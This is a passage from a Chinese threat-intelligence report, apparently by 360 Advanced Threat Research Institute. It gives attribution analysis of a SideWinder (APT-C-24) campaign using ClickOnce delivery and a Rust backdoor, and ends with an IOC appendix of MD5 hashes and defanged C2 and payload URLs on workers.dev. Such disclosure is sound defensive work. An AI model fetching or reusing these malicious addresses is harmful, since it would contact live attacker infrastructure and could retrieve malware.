data-nest-level="5">audiodg.exe文件运行后加载其sppc.dll，木马依旧为rust语言编写，C2：</span><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" data-nest-level="5"><a href="https://api.de" target="_blank">https://api.de</a></span><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" data-nest-level="5">sco-gov-bd.workers[.]dev:443，解密方式依旧为异或解密。整体功能与本次分析木马一致。</span></span></p><div data-role="outer" label="edit by 135editor" data-pm-slice="0 0 []" data-nest-level="3"><div data-tools="135编辑器" data-id="105196" data-nest-level="4"><div style="text-align: left;margin: 10px auto;" data-nest-level="5"><div style="background: linear-gradient(to bottom,rgba(254,254,254,0) 0%,rgba(254,254,254,0) 60%,#ffffff 60%,#ffffff 100%);" data-nest-level="6"><div style="display: inline-block;" data-nest-level="7"><div style="background-color: #be191f;padding: 6px 15px;box-sizing:border-box;" data-nest-level="8"><p data-brushtype="text" style="font-size: 18px;letter-spacing: 1.5px;color: #ffffff;" data-nest-level="9"><strong data-nest-level="10"><span style="font-size:18px;" data-nest-level="11"><span leaf="" data-nest-level="12">四、归属研判</span></span></strong></p></div></div></div></div></div></div><p data-mpa-md-key="text" style="text-indent: 2em;margin-bottom: 16px;margin-top: 16px;" data-mpa-md-action-id="mo1acalr10eu" data-nest-level="3"><span mpa-font-style="mo1adudv6tc" data-nest-level="4"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" data-nest-level="5">1.</span><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" data-nest-level="5">近期，响尾蛇（SideWinder）组织频繁滥用 workers.dev、pages.dev、netlify.app、b4a.run 等免费托管平台，用于快速部署钓鱼门户及凭证窃取页面，以降低基础设施成本并提升隐蔽性。本次披露的相关 IOC 在托管平台选择上与其既往活动高度一致。</span></span></p><div data-mpa-md-key="text" style="text-indent: 2em;margin-bottom: 16px;margin-top: 16px;" data-mpa-md-action-id="mo1acalr1dcq" data-nest-level="3"><span mpa-font-style="mo1adudv201" data-nest-level="4"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" data-nest-level="5">2.</span><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" data-nest-level="5">其中，gov-pk 类域名命名符合该组织一贯采用的 IOC 构造特征，明显意在仿冒巴基斯坦政府相关机构，进一步强化了对响尾蛇组织的溯源判断。</span></span><div data-role="outer" style="margin: 0px;padding: 0px;box-sizing: border-box;" data-nest-level="4"><div data-tools="135编辑器" data-id="101849" style="margin: 0px;padding: 0px;box-sizing: border-box;" data-nest-level="5"><div style="margin: 10px 0px;padding: 0px;box-sizing: border-box;" data-nest-level="6"><div style="margin: 0px 0px -15px;padding: 0px;display: flex;box-sizing: border-box;transform: rotate(0deg);" data-nest-level="7"><p data-brushtype="text" style="margin: 0px;padding: 0px 1em;color: rgb(242, 242, 242);line-height: 32px;height: 32px;font-size: 16px;background-color: rgb(190, 25, 31);letter-spacing: 1.5px;box-sizing: border-box;text-indent: 0px;" data-nest-level="8"><strong style="margin: 0px;padding: 0px;" data-nest-level="9"><span style="margin: 0px;padding: 0px;font-size: 17px;" data-nest-level="10"><span leaf="" data-nest-level="11">总结</span></span></strong></p></div><div style="margin: 0px 0px 0px 6px;padding: 30px 15px 10px;background-color: rgb(242, 242, 242);flex-shrink: 0;box-sizing: border-box;" data-nest-level="7"><div data-autoskip="1" style="margin: 0px;padding: 0px;line-height: 1.75em;letter-spacing: 1.5px;font-size: 17px;box-sizing: border-box;" data-nest-level="8"><div style="margin: 0px;padding: 0px;box-sizing: border-box;" data-nest-level="9"><p style="margin-top: 8px;margin-bottom: 8px;text-align: justify;" data-nest-level="10"><span data-nest-level="11"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" data-nest-level="12">此次针对 APT-C-24（响尾蛇） 组织的样本投递活动分析表明，该组织正在持续演进其初始投递手法，并不断尝试引入新的技术以提升攻击成功率与隐蔽性。本次攻击中，攻击者利用 ClickOnce 的 application 文件作为载体进行样本投递，体现出其对 Windows 应用部署机制的深入理解与滥用能力。 在进一步的关联分析中发现，该组织并未局限于单一投递链路，还通过恶意宏代码下载后续恶意组件，基于 Rust 语言编写的后门木马。这表明该组织具备持续研发与快速迭代攻击技术的能力。在此提醒广大用户，提高网络安全意识，降低被网络攻击的风险。</span></span></p></div></div></div></div></div><div data-role="paragraph" style="margin: 0px;padding: 0px;box-sizing: border-box;" data-nest-level="5"><div data-role="outer" label="edit by 135editor" data-pm-slice="0 0 []" data-nest-level="6"><div data-role="title" data-tools="135编辑器" data-id="85638" style="" data-nest-level="7"><div style="margin: 2em auto 0px;padding: 0.5em 0px;white-space: normal;border-width: 1px medium medium;border-style: solid none none;border-color: rgb(204, 204, 204) currentcolor currentcolor;border-image: initial;display: block;font-size: 15px;font-style: normal;font-weight: inherit;text-decoration: inherit;color: rgb(166, 166, 166);box-sizing: border-box;font-family: inherit;" data-nest-level="8"><p style="margin-top: -1.2em;text-align: center;padding: 0px;border-width: medium;border-style: none;border-color: currentcolor;border-image: initial;line-height: 1.4;box-sizing: border-box;" data-nest-level="9"><span style="font-size: 15px;" data-nest-level="10"><strong data-nest-level="11"><span style="background-color: rgb(15, 15, 25);border-color: rgb(183, 184, 184);color: rgb(255, 255, 255);font-style: normal;padding: 8px 23px;text-align: center;text-decoration: inherit;font-family: inherit;" data-nest-level="12"><span leaf="" data-nest-level="13">附录 IOC</span></span></strong></span></p></div></div></div></div></div></div><p data-mpa-md-key="text" data-mpa-md-action-id="mo1acalrfu4" data-nest-level="3"><span mpa-font-style="mo1adudv1y2u" data-nest-level="4"><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;" data-nest-level="5"><span textstyle="" style="font-size: 15px;font-weight: bold;">MD5</span></span></span></p><p data-mpa-md-key="text" data-mpa-md-action-id="mo1acalr1df2" data-nest-level="3"><span mpa-font-style="mo1adudv1r9d" data-nest-level="4"><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;" data-nest-level="5"><span textstyle="" style="font-size: 15px;">ac0623ac3349356060f8f37838ec332b</span></span></span></p><p data-mpa-md-key="text" data-mpa-md-action-id="mo1acalr7bt" data-nest-level="3"><span mpa-font-style="mo1adudv1p8t" data-nest-level="4"><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;" data-nest-level="5"><span textstyle="" style="font-size: 15px;">76195b41d2e0c8008c23e77363a7455a</span></span></span></p><p data-mpa-md-key="text" data-mpa-md-action-id="mo1acals1lzg" data-nest-level="3"><span mpa-font-style="mo1adudv1qaa" data-nest-level="4"><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;" data-nest-level="5"><span textstyle="" style="font-size: 15px;">9a95078a7a5f1045c61fe95ab308ec3f</span></span></span></p><p data-mpa-md-key="text" data-mpa-md-action-id="mo1acals1yiy" data-nest-level="3"><span mpa-font-style="mo1adudv98w" data-nest-level="4"><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;" data-nest-level="5"><span textstyle="" style="font-size: 15px;">bc43ee3b9873539932b9eb23f21e9e1b</span></span></span></p><p data-mpa-md-key="text" data-mpa-md-action-id="mo1acals17ck" data-nest-level="3"><span mpa-font-style="mo1adudv1y05" data-nest-level="4"><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;" data-nest-level="5"><span textstyle="" style="font-size: 15px;">f310ee836f88cc43d3939f8a88b20495</span></span></span></p><p data-mpa-md-key="text" data-mpa-md-action-id="mo1acalse3z" data-nest-level="3"><span mpa-font-style="mo1adudv1ns1" data-nest-level="4"><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;" data-nest-level="5"><span textstyle="" style="font-size: 15px;">f80e3806ae3a0dbca9456c3ef422e1d6</span></span></span></p><p data-mpa-md-key="text" data-mpa-md-action-id="mo1acals20rb" data-nest-level="3"><span mpa-font-style="mo1adudv3x1" data-nest-level="4"><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;" data-nest-level="5"><span textstyle="" style="font-size: 15px;">a95041469ff85c7a45394e46e566b074</span></span></span></p><p data-mpa-md-key="text" data-mpa-md-action-id="mo1acalsb5z" data-nest-level="3"><span mpa-font-style="mo1adudvea5" data-nest-level="4"><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;" data-nest-level="5"><span textstyle="" style="font-size: 15px;">b53aba6a17a156a865c62d84d7e0e367</span></span></span></p><p data-mpa-md-key="text" data-mpa-md-action-id="mo1acals1oii" data-nest-level="3"><span mpa-font-style="mo1adudv89u" data-nest-level="4"><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;" data-nest-level="5"><span textstyle="" style="font-size: 15px;">b5faa2453292b12f95580d2a4deaf37c</span></span></span></p><p data-mpa-md-key="text" data-mpa-md-action-id="mo1acals22g6" data-nest-level="3" style="margin-top: 16px;"><span mpa-font-style="mo1adudv1e8h" data-nest-level="4"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" data-nest-level="5"><span textstyle="" style="font-size: 15px;font-weight: bold;">C2</span></span></span></p><p data-mpa-md-key="text" data-mpa-md-action-id="mo1acals15a9" data-nest-level="3"><span mpa-font-style="mo1adudvisj" data-nest-level="4"><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;" data-nest-level="5"><span textstyle="" style="font-size: 15px;">www.gov-pk.workers[.]dev</span></span></span></p><p data-mpa-md-key="text" data-mpa-md-action-id="mo1acals2px" data-nest-level="3"><span mpa-font-style="mo1adudv7b" data-nest-level="4"><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;" data-nest-level="5"><span textstyle="" style="font-size: 15px;">api.ahsaanullaahkhan.workers[.]dev</span></span></span></p><p data-mpa-md-key="text" data-mpa-md-action-id="mo1acals23qu" data-nest-level="3"><span mpa-font-style="mo1adudv1gzc" data-nest-level="4"><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;" data-nest-level="5"><span textstyle="" style="font-size: 15px;">https[:]//webmail-pnra.gov-pk.workers[.]dev/ftp.pnra.org.application</span></span></span></p><p data-mpa-md-key="text" data-mpa-md-action-id="mo1acalt1tw5" data-nest-level="3"><span mpa-font-style="mo1adudv1u8p" data-nest-level="4"><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;" data-nest-level="5"><span textstyle="" style="font-size: 15px;">https[:]//webmail-pnra.gov-pk.workers[.]dev/ftp.pnra.org.exe.manifest</span></span></span></p><p data-mpa-md-key="text" data-mpa-md-action-id="mo1acalt1y48" data-nest-level="3"><span mpa-font-style="mo1adudvxa9" data-nest-level="4"><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;" data-nest-level="5"><span textstyle="" style="font-size: 15px;">https[:]//webmail-pnra.gov-pk.workers[.]dev/OneDrive.exe</span></span></span></p><p data-mpa-md-key="text" data-mpa-md-action-id="mo1acalt2085" data-nest-level="3"><span mpa-font-style="mo1adudv2f" data-nest-level="4"><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;" data-nest-level="5"><span textstyle="" style="font-size: 15px;">https[:]//webmail-pnra.gov-pk.workers[.]dev/mscorsvc.dll</span></span></span></p><p data-mpa-md-key="text" data-mpa-md-action-id="mo1acalt18im" data-nest-level="3"><span mpa-font-style="mo1adudv1got" data-nest-level="4"><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;" data-nest-level="5"><span textstyle="" style="font-size: 15px;">https[:]//webmail-pnra.gov-pk.workers[.]dev/system32.dll</span></span></span></p><p data-mpa-md-key="text" data-mpa-md-action-id="mo1acalt1rn9" data-nest-level="3"><span mpa-font-style="mo1adudvhyl" data-nest-level="4"><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;" data-nest-level="5"><span textstyle="" style="font-size: 15px;">https[:]//itsupport.apps-sco-gov-pk.workers[.]dev/download/AdobeReader.application</span></span></span></p><p data-mpa-md-key="text" data-mpa-md-action-id="mo1acaltl7e" data-nest-level="3"><span mpa-font-style="mo1adudv1mik" data-nest-level="4"><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;" data-nest-level="5"><span textstyle="" style="font-size: 15px;">https[:]//itsupport.apps-sco-gov-pk.workers[.]dev/download/Svcc.exe</span></span></span></p><p data-mpa-md-key="text" data-mpa-md-action-id="mo1acalt1fdj" data-nest-level="3"><span mpa-font-style="mo1adudvef1" data-nest-level="4"><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;" data-nest-level="5"><span textstyle="" style="font-size: 15px;">https[:]//itsupport.apps-sco-gov-pk.workers[.]dev/download/cryptbase.dll</span></span></span></p><p data-mpa-md-key="text" data-mpa-md-action-id="mo1acaltixb" data-nest-level="3"><span mpa-font-style="mo1adudv1lti" data-nest-level="4"><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;" data-nest-level="5"><span textstyle="" style="font-size: 15px;">https[:]//support.cc-cvbs-sco.workers[.]dev</span></span></span></p><p data-mpa-md-key="text" data-mpa-md-action-id="mo1acaltwz4" data-nest-level="3"><span mpa-font-style="mo1adudvpsr" data-nest-level="4"><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;" data-nest-level="5"><span textstyle="" style="font-size: 15px;">https[:]//ftp.desco-gov-bd.workers[.]dev/favicon.ico</span></span></span></p><p data-mpa-md-key="text" data-mpa-md-action-id="mo1acalt1920" data-nest-level="3"><span mpa-font-style="mo1adudvli3" data-nest-level="4"><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;" data-nest-level="5"><span textstyle="" style="font-size: 15px;">https[:]//fancy-voice-b182.goldibrowhoami.workers[.]dev/audiodg.pdf</span></span></span></p><p data-mpa-md-key="text" data-mpa-md-action-id="mo1acalt1119" data-nest-level="3"><span mpa-font-style="mo1adudvciu" data-nest-level="4"><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;" data-nest-level="5"><span textstyle="" style="font-size: 15px;">https[:]//api.desco-gov-bd.workers[.]dev</span></span></span></p><p data-mpa-md-key="text" data-mpa-md-action-id="mo1acalt227o" data-nest-level="3"><span mpa-font-style="mo1adudv1w8e" data-nest-level="4"><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;" data-nest-level="5"><span textstyle="" style="font-size: 15px;">https[:]//test.netof66867.workers[.]dev/audiodg.pdf</span></span></span></p><p data-mpa-md-key="text" data-mpa-md-action-id="mo1acalu3ut" data-nest-level="3"><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;" mpa-font-style="mo1adudvo2d" data-nest-level="4"><span textstyle="" style="font-size: 15px;">https[:]//test.netof66867.workers[.]dev/sppc.pdf</span></span></p><div data-role="outer" label="Powered by 135editor.com" style="" data-pm-slice="0 0 []" data-nest-level="3"><div data-tools="135编辑器" data-id="96036" data-nest-level="4"><div style="margin:10px auto;" data-nest-level="5"><div data-autoskip="1" style="font-size: 14px;text-align: justify;letter-spacing: 1.5px;line-height: 1.75em;color: #3e3e3e;" data-nest-level="6"><p hm_fix="208:559" data-nest-level="7"><span style="color: rgb(190, 25, 31);font-size: 15px;" data-nest-level="8"><strong style="letter-spacing: 0.544px;caret-color: red;max-width: 100%;overflow-wrap: break-word !important;font-family:-apple-system-font, BlinkMacSystemFont, Arial, sans-serif;" data-nest-level="9"><span style="max-width: 100%;overflow-wrap: break-word !important;font-family:微软雅黑, sans-serif;" data-nest-level="10"><span leaf="" data-nest-level="11">360</span></span></strong><strong style="letter-spacing: 0.544px;caret-color: red;max-width: 100%;overflow-wrap: break-word !important;font-family:-apple-system-font, BlinkMacSystemFont, Arial, sans-serif;" data-nest-level="9"><span style="max-width: 100%;overflow-wrap: break-word !important;font-family:微软雅黑, sans-serif;" data-nest-level="10"><span leaf="" data-nest-level="11">高级威胁研究院</span></span></strong></span></p><p style="margin: 0px;padding: 0px;text-align: justify;max-width: 100%;min-height: 1em;letter-spacing: 0.544px;line-height: 1.5em;box-sizing: border-box !important;overflow-wrap: break-word !important;font-family:-apple-system-font, BlinkMacSystemFont, Arial, sans-serif;" data-nest-level="7"><span style="margin: 0px;padding: 0px;max-width: 100%;color: rgb(136, 136, 136);font-size: 15px;box-sizing: border-box !important;overflow-wrap: break-word !important;font-family:微软雅黑, sans-serif;" data-nest-level="8"><span leaf="" data-nest-level="9">360高级威胁研究院是360数字安全集团的核心能力支持部门，由360资深安全专家组成，专注于高级威胁的发现、防御、处置和研究，曾在全球范围内率先捕获双杀、双星、噩梦公式等多起业界知名的0day在野攻击，独家披露多个国家级APT组织的高级行动，赢得业内外的广泛认可，为360保障国家网络安全提供有力支撑。</span></span></p></div></div></div></div></div><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



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]]></content:encoded>
      <pubDate>Wed, 05 Aug 2026 17:30:00 +0800</pubDate>
    </item>
    <item>
      <title>APT-C-00（海莲花）组织最新技战术升级分析</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzUyMjk4NzExMA==&amp;mid=2247508745&amp;idx=1&amp;sn=d2e8bf3bed50b91adf218cabe5be731c</link>
      <description>360 高级威胁研究院捕获海莲花组织全新攻击活动，攻击者通过邮件投递带恶意载荷的镜像文件，采用白加黑侧加载，搭配多重反调试规避查杀；借助开源工具篡改注册表实现持久化，载荷经多层解密后在内存运行远控木马，完成远程操控。</description>
      <content:encoded><![CDATA[<p><span>高级威胁研究院</span> <span>2026-07-22 17:30</span> <span style="display: inline-block;">北京</span></p>






  
  <p><img src="https://wechat2rss.xlab.app/img-proxy/?k=1427cae8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FEmmib7pWXrXKLtU7QeJPJ4swpnpNm7BnIJM63eQZQ0MmleTia8dQHTN2t893l5OILnoia8vc629qiae1d73xlLNr6LWrqiaibrNe9R8MOial1qEb3I%2F0%3Fwx_fmt%3Djpeg"/></p>
